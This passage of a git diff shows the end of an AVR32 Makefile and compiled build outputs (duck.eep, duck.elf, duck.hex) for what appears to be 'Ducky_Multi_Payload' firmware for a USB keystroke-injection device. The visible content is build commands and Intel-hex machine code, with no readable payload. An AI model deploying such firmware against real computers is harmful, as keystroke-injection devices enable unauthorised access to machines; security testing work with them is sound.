"../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + + + +# AVR32/GNU Assembler + + + + +ifneq ($(MAKECMDGOALS),clean) +ifneq ($(strip $(C_DEPS)),) +-include $(C_DEPS) +endif +endif + +# Add inputs and outputs from these tool invocations to the build variables + +# All Target +all: $(OUTPUT_FILE_PATH) $(ADDITIONAL_DEPENDENCIES) + +$(OUTPUT_FILE_PATH): $(OBJS) $(USER_OBJS) $(OUTPUT_FILE_DEP) + @echo Building target: $@ + @echo Invoking: AVR32/GNU C Linker + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -o$(OUTPUT_FILE_PATH_AS_ARGS) $(OBJS_AS_ARGS) $(USER_OBJS) $(LIBS) -nostartfiles -Wl,-Map="duck.map" -lm -Wl,--gc-sections -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax -mpart=uc3b0256 + @echo Finished building target: $@ + "C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-objcopy.exe" -O ihex -R .eeprom -R .fuse -R .lock -R .signature "duck.elf" "duck.hex" + "C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-objcopy.exe" -j .eeprom --set-section-flags=.eeprom=alloc,load --change-section-lma .eeprom=0 --no-change-warnings -O ihex "duck.elf" "duck.eep" || exit 0 + "C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-objdump.exe" -h -S "duck.elf" > "duck.lss" + "C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-size.exe" "duck.elf" + + + + + +# Other Targets +clean: + -$(RM) $(OBJS_AS_ARGS)$(C_DEPS_AS_ARGS) $(EXECUTABLES) + rm -rf "duck.hex" "duck.lss" "duck.eep" "duck.map" + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.eep b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.eep new file mode 100644 index 0000000..d08530b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.eep @@ -0,0 +1,2 @@ +:040000058000000077 +:00000001FF diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.elf b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.elf new file mode 100644 index 0000000..4d055aa Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.elf differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.hex b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.hex new file mode 100644 index 0000000..5787790 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.hex @@ -0,0 +1,2065 @@ +:0200000480007A +:10000000E08F100000000000000000000000000071 +:1000100000000000000000000000000000000000E0 +:1000200000000000000000000000000000000000D0 +:1000300000000000000000000000000000000000C0 +:1000400000000000000000000000000000000000B0 +:1000500000000000000000000000000000000000A0 +:100060000000000000000000000000000000000090 +:100070000000000000000000000000000000000080 +:100080000000000000000000000000000000000070 +:100090000000000000000000000000000000000060 +:1000A0000000000000000000000000000000000050 +:1000B0000000000000000000000000000000000040 +:1000C0000000000000000000000000000000000030 +:1000D0000000000000000000000000000000000020 +:1000E0000000000000000000000000000000000010 +:1000F0000000000000000000000000000000000000 +:1001000000000000000000000000000000000000EF +:1001100000000000000000000000000000000000DF +:1001200000000000000000000000000000000000CF +:1001300000000000000000000000000000000000BF +:1001400000000000000000000000000000000000AF +:10015000000000000000000000000000000000009F +:10016000000000000000000000000000000000008F +:10017000000000000000000000000000000000007F +:10018000000000000000000000000000000000006F +:10019000000000000000000000000000000000005F +:1001A000000000000000000000000000000000004F +:1001B000000000000000000000000000000000003F +:1001C000000000000000000000000000000000002F +:1001D000000000000000000000000000000000001F +:1001E000000000000000000000000000000000000F +:1001F00000000000000000000000000000000000FF +:1002000000000000000000000000000000000000EE +:1002100000000000000000000000000000000000DE +:1002200000000000000000000000000000000000CE +:1002300000000000000000000000000000000000BE +:1002400000000000000000000000000000000000AE +:10025000000000000000000000000000000000009E +:10026000000000000000000000000000000000008E +:10027000000000000000000000000000000000007E +:10028000000000000000000000000000000000006E +:10029000000000000000000000000000000000005E +:1002A000000000000000000000000000000000004E +:1002B000000000000000000000000000000000003E +:1002C000000000000000000000000000000000002E +:1002D000000000000000000000000000000000001E +:1002E000000000000000000000000000000000000E +:1002F00000000000000000000000000000000000FE +:1003000000000000000000000000000000000000ED +:1003100000000000000000000000000000000000DD +:1003200000000000000000000000000000000000CD +:1003300000000000000000000000000000000000BD +:1003400000000000000000000000000000000000AD +:10035000000000000000000000000000000000009D +:10036000000000000000000000000000000000008D +:10037000000000000000000000000000000000007D +:10038000000000000000000000000000000000006D +:10039000000000000000000000000000000000005D +:1003A000000000000000000000000000000000004D +:1003B000000000000000000000000000000000003D +:1003C000000000000000000000000000000000002D +:1003D000000000000000000000000000000000001D +:1003E000000000000000000000000000000000000D +:1003F00000000000000000000000000000000000FD +:1004000000000000000000000000000000000000EC +:1004100000000000000000000000000000000000DC +:1004200000000000000000000000000000000000CC +:1004300000000000000000000000000000000000BC +:1004400000000000000000000000000000000000AC +:10045000000000000000000000000000000000009C +:10046000000000000000000000000000000000008C +:10047000000000000000000000000000000000007C +:10048000000000000000000000000000000000006C +:10049000000000000000000000000000000000005C +:1004A000000000000000000000000000000000004C +:1004B000000000000000000000000000000000003C +:1004C000000000000000000000000000000000002C +:1004D000000000000000000000000000000000001C +:1004E000000000000000000000000000000000000C +:1004F00000000000000000000000000000000000FC +:1005000000000000000000000000000000000000EB +:1005100000000000000000000000000000000000DB +:1005200000000000000000000000000000000000CB +:1005300000000000000000000000000000000000BB +:1005400000000000000000000000000000000000AB +:10055000000000000000000000000000000000009B +:10056000000000000000000000000000000000008B +:10057000000000000000000000000000000000007B +:10058000000000000000000000000000000000006B +:10059000000000000000000000000000000000005B +:1005A000000000000000000000000000000000004B +:1005B000000000000000000000000000000000003B +:1005C000000000000000000000000000000000002B +:1005D000000000000000000000000000000000001B +:1005E000000000000000000000000000000000000B +:1005F00000000000000000000000000000000000FB +:1006000000000000000000000000000000000000EA +:1006100000000000000000000000000000000000DA +:1006200000000000000000000000000000000000CA +:1006300000000000000000000000000000000000BA +:1006400000000000000000000000000000000000AA +:10065000000000000000000000000000000000009A +:10066000000000000000000000000000000000008A +:10067000000000000000000000000000000000007A +:10068000000000000000000000000000000000006A +:10069000000000000000000000000000000000005A +:1006A000000000000000000000000000000000004A +:1006B000000000000000000000000000000000003A +:1006C000000000000000000000000000000000002A +:1006D000000000000000000000000000000000001A +:1006E000000000000000000000000000000000000A +:1006F00000000000000000000000000000000000FA +:1007000000000000000000000000000000000000E9 +:1007100000000000000000000000000000000000D9 +:1007200000000000000000000000000000000000C9 +:1007300000000000000000000000000000000000B9 +:1007400000000000000000000000000000000000A9 +:100750000000000000000000000000000000000099 +:100760000000000000000000000000000000000089 +:100770000000000000000000000000000000000079 +:100780000000000000000000000000000000000069 +:100790000000000000000000000000000000000059 +:1007A0000000000000000000000000000000000049 +:1007B0000000000000000000000000000000000039 +:1007C0000000000000000000000000000000000029 +:1007D0000000000000000000000000000000000019 +:1007E0000000000000000000000000000000000009 +:1007F00000000000000000000000000000000000F9 +:1008000000000000000000000000000000000000E8 +:1008100000000000000000000000000000000000D8 +:1008200000000000000000000000000000000000C8 +:1008300000000000000000000000000000000000B8 +:1008400000000000000000000000000000000000A8 +:100850000000000000000000000000000000000098 +:100860000000000000000000000000000000000088 +:100870000000000000000000000000000000000078 +:100880000000000000000000000000000000000068 +:100890000000000000000000000000000000000058 +:1008A0000000000000000000000000000000000048 +:1008B0000000000000000000000000000000000038 +:1008C0000000000000000000000000000000000028 +:1008D0000000000000000000000000000000000018 +:1008E0000000000000000000000000000000000008 +:1008F00000000000000000000000000000000000F8 +:1009000000000000000000000000000000000000E7 +:1009100000000000000000000000000000000000D7 +:1009200000000000000000000000000000000000C7 +:1009300000000000000000000000000000000000B7 +:1009400000000000000000000000000000000000A7 +:100950000000000000000000000000000000000097 +:100960000000000000000000000000000000000087 +:100970000000000000000000000000000000000077 +:100980000000000000000000000000000000000067 +:100990000000000000000000000000000000000057 +:1009A0000000000000000000000000000000000047 +:1009B0000000000000000000000000000000000037 +:1009C0000000000000000000000000000000000027 +:1009D0000000000000000000000000000000000017 +:1009E0000000000000000000000000000000000007 +:1009F00000000000000000000000000000000000F7 +:100A000000000000000000000000000000000000E6 +:100A100000000000000000000000000000000000D6 +:100A200000000000000000000000000000000000C6 +:100A300000000000000000000000000000000000B6 +:100A400000000000000000000000000000000000A6 +:100A50000000000000000000000000000000000096 +:100A60000000000000000000000000000000000086 +:100A70000000000000000000000000000000000076 +:100A80000000000000000000000000000000000066 +:100A90000000000000000000000000000000000056 +:100AA0000000000000000000000000000000000046 +:100AB0000000000000000000000000000000000036 +:100AC0000000000000000000000000000000000026 +:100AD0000000000000000000000000000000000016 +:100AE0000000000000000000000000000000000006 +:100AF00000000000000000000000000000000000F6 +:100B000000000000000000000000000000000000E5 +:100B100000000000000000000000000000000000D5 +:100B200000000000000000000000000000000000C5 +:100B300000000000000000000000000000000000B5 +:100B400000000000000000000000000000000000A5 +:100B50000000000000000000000000000000000095 +:100B60000000000000000000000000000000000085 +:100B70000000000000000000000000000000000075 +:100B80000000000000000000000000000000000065 +:100B90000000000000000000000000000000000055 +:100BA0000000000000000000000000000000000045 +:100BB0000000000000000000000000000000000035 +:100BC0000000000000000000000000000000000025 +:100BD0000000000000000000000000000000000015 +:100BE0000000000000000000000000000000000005 +:100BF00000000000000000000000000000000000F5 +:100C000000000000000000000000000000000000E4 +:100C100000000000000000000000000000000000D4 +:100C200000000000000000000000000000000000C4 +:100C300000000000000000000000000000000000B4 +:100C400000000000000000000000000000000000A4 +:100C50000000000000000000000000000000000094 +:100C60000000000000000000000000000000000084 +:100C70000000000000000000000000000000000074 +:100C80000000000000000000000000000000000064 +:100C90000000000000000000000000000000000054 +:100CA0000000000000000000000000000000000044 +:100CB0000000000000000000000000000000000034 +:100CC0000000000000000000000000000000000024 +:100CD0000000000000000000000000000000000014 +:100CE0000000000000000000000000000000000004 +:100CF00000000000000000000000000000000000F4 +:100D000000000000000000000000000000000000E3 +:100D100000000000000000000000000000000000D3 +:100D200000000000000000000000000000000000C3 +:100D300000000000000000000000000000000000B3 +:100D400000000000000000000000000000000000A3 +:100D50000000000000000000000000000000000093 +:100D60000000000000000000000000000000000083 +:100D70000000000000000000000000000000000073 +:100D80000000000000000000000000000000000063 +:100D90000000000000000000000000000000000053 +:100DA0000000000000000000000000000000000043 +:100DB0000000000000000000000000000000000033 +:100DC0000000000000000000000000000000000023 +:100DD0000000000000000000000000000000000013 +:100DE0000000000000000000000000000000000003 +:100DF00000000000000000000000000000000000F3 +:100E000000000000000000000000000000000000E2 +:100E100000000000000000000000000000000000D2 +:100E200000000000000000000000000000000000C2 +:100E300000000000000000000000000000000000B2 +:100E400000000000000000000000000000000000A2 +:100E50000000000000000000000000000000000092 +:100E60000000000000000000000000000000000082 +:100E70000000000000000000000000000000000072 +:100E80000000000000000000000000000000000062 +:100E90000000000000000000000000000000000052 +:100EA0000000000000000000000000000000000042 +:100EB0000000000000000000000000000000000032 +:100EC0000000000000000000000000000000000022 +:100ED0000000000000000000000000000000000012 +:100EE0000000000000000000000000000000000002 +:100EF00000000000000000000000000000000000F2 +:100F000000000000000000000000000000000000E1 +:100F100000000000000000000000000000000000D1 +:100F200000000000000000000000000000000000C1 +:100F300000000000000000000000000000000000B1 +:100F400000000000000000000000000000000000A1 +:100F50000000000000000000000000000000000091 +:100F60000000000000000000000000000000000081 +:100F70000000000000000000000000000000000071 +:100F80000000000000000000000000000000000061 +:100F90000000000000000000000000000000000051 +:100FA0000000000000000000000000000000000041 +:100FB0000000000000000000000000000000000031 +:100FC0000000000000000000000000000000000021 +:100FD0000000000000000000000000000000000011 +:100FE0000000000000000000000000000000000001 +:100FF00000000000000000000000000000000000F1 +:1010000000000000000000000000000000000000E0 +:1010100000000000000000000000000000000000D0 +:1010200000000000000000000000000000000000C0 +:1010300000000000000000000000000000000000B0 +:1010400000000000000000000000000000000000A0 +:101050000000000000000000000000000000000090 +:101060000000000000000000000000000000000080 +:101070000000000000000000000000000000000070 +:101080000000000000000000000000000000000060 +:101090000000000000000000000000000000000050 +:1010A0000000000000000000000000000000000040 +:1010B0000000000000000000000000000000000030 +:1010C0000000000000000000000000000000000020 +:1010D0000000000000000000000000000000000010 +:1010E0000000000000000000000000000000000000 +:1010F00000000000000000000000000000000000F0 +:1011000000000000000000000000000000000000DF +:1011100000000000000000000000000000000000CF +:1011200000000000000000000000000000000000BF +:1011300000000000000000000000000000000000AF +:10114000000000000000000000000000000000009F +:10115000000000000000000000000000000000008F +:10116000000000000000000000000000000000007F +:10117000000000000000000000000000000000006F +:10118000000000000000000000000000000000005F +:10119000000000000000000000000000000000004F +:1011A000000000000000000000000000000000003F +:1011B000000000000000000000000000000000002F +:1011C000000000000000000000000000000000001F +:1011D000000000000000000000000000000000000F +:1011E00000000000000000000000000000000000FF +:1011F00000000000000000000000000000000000EF +:1012000000000000000000000000000000000000DE +:1012100000000000000000000000000000000000CE +:1012200000000000000000000000000000000000BE +:1012300000000000000000000000000000000000AE +:10124000000000000000000000000000000000009E +:10125000000000000000000000000000000000008E +:10126000000000000000000000000000000000007E +:10127000000000000000000000000000000000006E +:10128000000000000000000000000000000000005E +:10129000000000000000000000000000000000004E +:1012A000000000000000000000000000000000003E +:1012B000000000000000000000000000000000002E +:1012C000000000000000000000000000000000001E +:1012D000000000000000000000000000000000000E +:1012E00000000000000000000000000000000000FE +:1012F00000000000000000000000000000000000EE +:1013000000000000000000000000000000000000DD +:1013100000000000000000000000000000000000CD +:1013200000000000000000000000000000000000BD +:1013300000000000000000000000000000000000AD +:10134000000000000000000000000000000000009D +:10135000000000000000000000000000000000008D +:10136000000000000000000000000000000000007D +:10137000000000000000000000000000000000006D +:10138000000000000000000000000000000000005D +:10139000000000000000000000000000000000004D +:1013A000000000000000000000000000000000003D +:1013B000000000000000000000000000000000002D +:1013C000000000000000000000000000000000001D +:1013D000000000000000000000000000000000000D +:1013E00000000000000000000000000000000000FD +:1013F00000000000000000000000000000000000ED +:1014000000000000000000000000000000000000DC +:1014100000000000000000000000000000000000CC +:1014200000000000000000000000000000000000BC +:1014300000000000000000000000000000000000AC +:10144000000000000000000000000000000000009C +:10145000000000000000000000000000000000008C +:10146000000000000000000000000000000000007C +:10147000000000000000000000000000000000006C +:10148000000000000000000000000000000000005C +:10149000000000000000000000000000000000004C +:1014A000000000000000000000000000000000003C +:1014B000000000000000000000000000000000002C +:1014C000000000000000000000000000000000001C +:1014D000000000000000000000000000000000000C +:1014E00000000000000000000000000000000000FC +:1014F00000000000000000000000000000000000EC +:1015000000000000000000000000000000000000DB +:1015100000000000000000000000000000000000CB +:1015200000000000000000000000000000000000BB +:1015300000000000000000000000000000000000AB +:10154000000000000000000000000000000000009B +:10155000000000000000000000000000000000008B +:10156000000000000000000000000000000000007B +:10157000000000000000000000000000000000006B +:10158000000000000000000000000000000000005B +:10159000000000000000000000000000000000004B +:1015A000000000000000000000000000000000003B +:1015B000000000000000000000000000000000002B +:1015C000000000000000000000000000000000001B +:1015D000000000000000000000000000000000000B +:1015E00000000000000000000000000000000000FB +:1015F00000000000000000000000000000000000EB +:1016000000000000000000000000000000000000DA +:1016100000000000000000000000000000000000CA +:1016200000000000000000000000000000000000BA +:1016300000000000000000000000000000000000AA +:10164000000000000000000000000000000000009A +:10165000000000000000000000000000000000008A +:10166000000000000000000000000000000000007A +:10167000000000000000000000000000000000006A +:10168000000000000000000000000000000000005A +:10169000000000000000000000000000000000004A +:1016A000000000000000000000000000000000003A +:1016B000000000000000000000000000000000002A +:1016C000000000000000000000000000000000001A +:1016D000000000000000000000000000000000000A +:1016E00000000000000000000000000000000000FA +:1016F00000000000000000000000000000000000EA +:1017000000000000000000000000000000000000D9 +:1017100000000000000000000000000000000000C9 +:1017200000000000000000000000000000000000B9 +:1017300000000000000000000000000000000000A9 +:101740000000000000000000000000000000000099 +:101750000000000000000000000000000000000089 +:101760000000000000000000000000000000000079 +:101770000000000000000000000000000000000069 +:101780000000000000000000000000000000000059 +:101790000000000000000000000000000000000049 +:1017A0000000000000000000000000000000000039 +:1017B0000000000000000000000000000000000029 +:1017C0000000000000000000000000000000000019 +:1017D0000000000000000000000000000000000009 +:1017E00000000000000000000000000000000000F9 +:1017F00000000000000000000000000000000000E9 +:1018000000000000000000000000000000000000D8 +:1018100000000000000000000000000000000000C8 +:1018200000000000000000000000000000000000B8 +:1018300000000000000000000000000000000000A8 +:101840000000000000000000000000000000000098 +:101850000000000000000000000000000000000088 +:101860000000000000000000000000000000000078 +:101870000000000000000000000000000000000068 +:101880000000000000000000000000000000000058 +:101890000000000000000000000000000000000048 +:1018A0000000000000000000000000000000000038 +:1018B0000000000000000000000000000000000028 +:1018C0000000000000000000000000000000000018 +:1018D0000000000000000000000000000000000008 +:1018E00000000000000000000000000000000000F8 +:1018F00000000000000000000000000000000000E8 +:1019000000000000000000000000000000000000D7 +:1019100000000000000000000000000000000000C7 +:1019200000000000000000000000000000000000B7 +:1019300000000000000000000000000000000000A7 +:101940000000000000000000000000000000000097 +:101950000000000000000000000000000000000087 +:101960000000000000000000000000000000000077 +:101970000000000000000000000000000000000067 +:101980000000000000000000000000000000000057 +:101990000000000000000000000000000000000047 +:1019A0000000000000000000000000000000000037 +:1019B0000000000000000000000000000000000027 +:1019C0000000000000000000000000000000000017 +:1019D0000000000000000000000000000000000007 +:1019E00000000000000000000000000000000000F7 +:1019F00000000000000000000000000000000000E7 +:101A000000000000000000000000000000000000D6 +:101A100000000000000000000000000000000000C6 +:101A200000000000000000000000000000000000B6 +:101A300000000000000000000000000000000000A6 +:101A40000000000000000000000000000000000096 +:101A50000000000000000000000000000000000086 +:101A60000000000000000000000000000000000076 +:101A70000000000000000000000000000000000066 +:101A80000000000000000000000000000000000056 +:101A90000000000000000000000000000000000046 +:101AA0000000000000000000000000000000000036 +:101AB0000000000000000000000000000000000026 +:101AC0000000000000000000000000000000000016 +:101AD0000000000000000000000000000000000006 +:101AE00000000000000000000000000000000000F6 +:101AF00000000000000000000000000000000000E6 +:101B000000000000000000000000000000000000D5 +:101B100000000000000000000000000000000000C5 +:101B200000000000000000000000000000000000B5 +:101B300000000000000000000000000000000000A5 +:101B40000000000000000000000000000000000095 +:101B50000000000000000000000000000000000085 +:101B60000000000000000000000000000000000075 +:101B70000000000000000000000000000000000065 +:101B80000000000000000000000000000000000055 +:101B90000000000000000000000000000000000045 +:101BA0000000000000000000000000000000000035 +:101BB0000000000000000000000000000000000025 +:101BC0000000000000000000000000000000000015 +:101BD0000000000000000000000000000000000005 +:101BE00000000000000000000000000000000000F5 +:101BF00000000000000000000000000000000000E5 +:101C000000000000000000000000000000000000D4 +:101C100000000000000000000000000000000000C4 +:101C200000000000000000000000000000000000B4 +:101C300000000000000000000000000000000000A4 +:101C40000000000000000000000000000000000094 +:101C50000000000000000000000000000000000084 +:101C60000000000000000000000000000000000074 +:101C70000000000000000000000000000000000064 +:101C80000000000000000000000000000000000054 +:101C90000000000000000000000000000000000044 +:101CA0000000000000000000000000000000000034 +:101CB0000000000000000000000000000000000024 +:101CC0000000000000000000000000000000000014 +:101CD0000000000000000000000000000000000004 +:101CE00000000000000000000000000000000000F4 +:101CF00000000000000000000000000000000000E4 +:101D000000000000000000000000000000000000D3 +:101D100000000000000000000000000000000000C3 +:101D200000000000000000000000000000000000B3 +:101D300000000000000000000000000000000000A3 +:101D40000000000000000000000000000000000093 +:101D50000000000000000000000000000000000083 +:101D60000000000000000000000000000000000073 +:101D70000000000000000000000000000000000063 +:101D80000000000000000000000000000000000053 +:101D90000000000000000000000000000000000043 +:101DA0000000000000000000000000000000000033 +:101DB0000000000000000000000000000000000023 +:101DC0000000000000000000000000000000000013 +:101DD0000000000000000000000000000000000003 +:101DE00000000000000000000000000000000000F3 +:101DF00000000000000000000000000000000000E3 +:101E000000000000000000000000000000000000D2 +:101E100000000000000000000000000000000000C2 +:101E200000000000000000000000000000000000B2 +:101E300000000000000000000000000000000000A2 +:101E40000000000000000000000000000000000092 +:101E50000000000000000000000000000000000082 +:101E60000000000000000000000000000000000072 +:101E70000000000000000000000000000000000062 +:101E80000000000000000000000000000000000052 +:101E90000000000000000000000000000000000042 +:101EA0000000000000000000000000000000000032 +:101EB0000000000000000000000000000000000022 +:101EC0000000000000000000000000000000000012 +:101ED0000000000000000000000000000000000002 +:101EE00000000000000000000000000000000000F2 +:101EF00000000000000000000000000000000000E2 +:101F000000000000000000000000000000000000D1 +:101F100000000000000000000000000000000000C1 +:101F200000000000000000000000000000000000B1 +:101F300000000000000000000000000000000000A1 +:101F40000000000000000000000000000000000091 +:101F50000000000000000000000000000000000081 +:101F60000000000000000000000000000000000071 +:101F70000000000000000000000000000000000061 +:101F80000000000000000000000000000000000051 +:101F90000000000000000000000000000000000041 +:101FA0000000000000000000000000000000000031 +:101FB0000000000000000000000000000000000021 +:101FC0000000000000000000000000000000000011 +:101FD0000000000000000000000000000000000001 +:101FE00000000000000000000000000000000000F1 +:101FF00000000000000000000000000000000000E1 +:04200000FECFB6C495 +:10200400D401303B307CF01F0014303B308CF01F87 +:102014000012303B315CF01F0010303B316CF01F7C +:10202400000E300B322CF01F000C300B323CF01F32 +:10203400000A300B30DCF01F0008300B326CF01F4C +:102044000006300B327CF01F0004300B328CF01F82 +:102054000002D80280002E88F9DCC00449187009F7 +:10206400F9E910099109580C5E0C48F82108189AEE +:102074005C9AF40A12002FFAF40915041208700984 +:10208400A969E029F000701BF34B0058701BF34B57 +:102094000044701B931BF80A0A4CCEA15EFC00009E +:1020A4000000000880007E00F9DCC00449287009A3 +:1020B400F80A11FFF5E900099109580C5E0C48F87B +:1020C4002108189A5C9AF40A12002FFAF4091504EC +:1020D40012087009A969E029F000701BF34B005441 +:1020E400701BF34B0044701B931BF80A0A4CCEA1DF +:1020F4005EFC00000000000880007E00D4014BC894 +:1021040011DC4BC91389303AF4091800C1E1F13AE2 +:102114000008F1390009F3EA108911F8F1D8C00672 +:10212400F3E811082FF8F00A15134B39930AF5D880 +:10213400C1A94B28B00A72099008A9992019B77847 +:1021440010094AF89109C4284A98F13A000AF13B67 +:102154000008A78B11FEF60E002B11EEFDDEC00267 +:10216400AB6E1C0B2FFBF1380009F1D8C002F40E42 +:102174001607FC0800182FE8F608094820184A0B2F +:102184009708760BF1DCC004F6CCFFFFF808094C85 +:10219400499B970C300C499BB60C309BF6081800F1 +:1021A400E0880008496B760C2098F80809489708DD +:1021B4005809C0C1F1DAC045F5DAC00248C9F3399B +:1021C400000BA37AF5E91259C0C8489AF539000AF8 +:1021D400F3D9C006F538000BA798F00900183009A8 +:1021E4002FF92FF8B1394878B009D8020000041447 +:1021F4000000041200000404000004080000040CA1 +:102204000000040A5EFCD703D401201D189BFE7C49 +:102214002400F01F0009FACBFFFEFE7C2400F01F0F +:102224000007581CC041E06C00FFC0281BBC2FFDF8 +:10223400D8020000800031C6800031E2D421301B76 +:10224400FE7C2400F01F00103007E06500FF48F416 +:102254003FF6C0B82FF7E2570D40C071301BFE7C2B +:102264002400F01F000BD82A0A9CF01F000AA88C37 +:10227400EC0C1800CF01301BFE7C2400F01F00047E +:10228400DA2A00008000309200000424800030DE4E +:102294008000220CD401A97C4838910CF01F000363 +:1022A400D8020000000000F080002240D401F01F9A +:1022B40000035F1CD802000080002240D401A97CE6 +:1022C4004838910CF01F0003D8020000000000F011 +:1022D40080002240EBCD40F818961697E06B00FF83 +:1022E400FE7C2400F01F002B0C9BA7AB5C5BFE7CE8 +:1022F4002400F01F0028EE0B1618FE7C2400F01FAB +:102304000025EE0B1610FE7C2400F01F0022F7D7E8 +:10231400C110FE7C2400F01F001F0E9B5C7BFE7C22 +:102324002400F01F001C3008F0061800C06030883C +:10233400F0061800C101C088E06B0095FE7C240003 +:10234400F01F0014C0E8E06B0087FE7C2400F01F3F +:102354000011C078E06B00FFFE7C2400F01F000D2C +:102364003FF948D8B0893007E06400FF1093129613 +:1023740030B5C0682FF75C57EA071800C080089C86 +:10238400F01F0006A68CEC0C1800CF50E3CD80F8AB +:10239400800031C6000004248000220CEBCD40C034 +:1023A40018971696301BFE7C2400F01F00090C9B26 +:1023B4000E9CF01F00084887AE8C301BFE7C240066 +:1023C400F01F00060F8CE3CD80C000008000309227 +:1023D400800022D800000424800030DEEBCD40FED3 +:1023E40049A811893008F0091800C1F130070E948A +:1023F40049733016E06200FFFE71240030B5C0C896 +:10240400049B029CF01F00132FF75C87EA07190056 +:10241400C031E3CF80FE089B089CF01F000FA68C00 +:10242400EC0C1800CEE1C0E8300B33BCF01F000AFE +:102434004878B08C580CC06030094848B089E3CF64 +:1024440080FEE3CF90FE0000000001080000042499 +:10245400800031C6800023A0EBCD40E01897F01F28 +:102464000049E080008C301BFE7C2400F01F0046F5 +:102474004C6811893038F0091800C0A14C48700B21 +:10248400A99B318CF01F00434C38B08CC0884C0899 +:10249400700B318CF01F003F4BF8B08C4BE8118966 +:1024A4003008F0091800C080301BFE7C2400F01FA7 +:1024B400003BE3CF80E0E06B00FFFE7C2400F01FD4 +:1024C4000038E06B00FEFE7C2400F01F0035EEC6F1 +:1024D400FE00FE7524000F3B0A9CF01F00310C37F0 +:1024E400CFB1E06B00FFFE7C2400F01F002DE06BF9 +:1024F40000FFFE7C2400F01F002AE06C00FFF01FA8 +:1025040000294A58B08CF9DCC005585CC140E06B26 +:1025140000FFFE7C2400F01F0022E06B00FFFE7C25 +:102524002400F01F001F301BFE7C2400F01F001B42 +:10253400E3CF80E0E06B00FFFE7C2400F01F001876 +:10254400E06B00FFFE7C2400F01F0015301BFE7CB6 +:102554002400F01F001248E87009F2C9FE00910936 +:10256400300730A6C0682FF75C87EC071900C060FD +:10257400F01F0004CF90E3CF90E0E3CF80E00000B1 +:10258400800022408000309200000412000000F01D +:10259400800022D800000424800030DE800031C690 +:1025A4008000220CEBCD40C0F01F001CC031E3CFF3 +:1025B400C0C0301BFE7C2400F01F0019300B33AC6C +:1025C400F01F00184988B08C580CC080301BFE7C6A +:1025D4002400F01F0016E3CFC0C0E06C00FFF01F22 +:1025E40000141896E06C00FFF01F001148E7AE8C51 +:1025F400E06C00FFF01F000EAE8CE06C00FFF01FDB +:10260400000CAE8C301BFE7C2400F01F0008F9D6B1 +:10261400C0C1E3CD80C00000800022408000309221 +:10262400800022D800000424800030DE8000220CC8 +:10263400EBCD4080F01F0027C031E3CFC080301BBA +:10264400FE7C2400F01F0024E06B01AA308CF01FF4 +:1026540000234A38B08CE21C0004C080301BFE7C8E +:102664002400F01F0020E3CF8080E06C00FFF01F07 +:10267400001E49B7AE8CE06C00FFF01F001BAE8C4F +:10268400E06C00FFF01F0018AE8CF9DCC001C081C3 +:10269400301BFE7C2400F01F0013E3CFC080E06CED +:1026A40000FFF01F001148E8B08C3AA8F00C1800A5 +:1026B400C080301BFE7C2400F01F000AE3CFC080E2 +:1026C400301BFE7C2400F01F0007E3CF9080000045 +:1026D4008000224080003092800022D80000042430 +:1026E400800030DE8000220CEBCD40F8201D1893D2 +:1026F400F01F0048E080008A301BFE7C2400F01F9D +:1027040000464C6811893038F0091800C0A14C48C3 +:10271400700BA99B311CF01F00434C38B08CC0884F +:102724004BF8700B311CF01F003F4BF8B08C4BE89A +:1027340011893008F0091800C120301BFE7C2400E8 +:10274400F01F003A300CC61820175C87C0E1301B1C +:10275400FE7C2400F01F0035300CC578E06775302E +:10276400E06500FF4B043FF60A9CF01F0031A88C83 +:10277400EC0C1800CEA03FE8F00C1800C0E0E06BB1 +:1027840000FFFE7C2400F01F002B301BFE7C240085 +:10279400F01F0026300CC3980697E6C5FE00E064DF +:1027A40000FFFE762400FAC3FFFE089B0C9CF01F7A +:1027B4000021069B0C9CF01F00209A180EC80A37B3 +:1027C400CF5149787009F2C9FE009109E06B00FF0E +:1027D400FE7C2400F01F0017E06B00FFFE7C240049 +:1027E400F01F0014E06B00FFFE7C2400F01F0011BA +:1027F400E06B00FFFE7C2400F01F000E301BFE7C0B +:102804002400F01F000A301C2FFDE3CD80F80000E7 +:10281400800022408000309200000412000000F08A +:10282400800022D800000424800030DE8000220CC6 +:10283400800031C6800031E2EBCD40FC201D1892AF +:10284400F01F0032C5F0301BFE7C2400F01F003066 +:10285400300B309CF01F002F4AF8B08C580CC0810C +:102864003007E06400FF10933FE63095C178301BD9 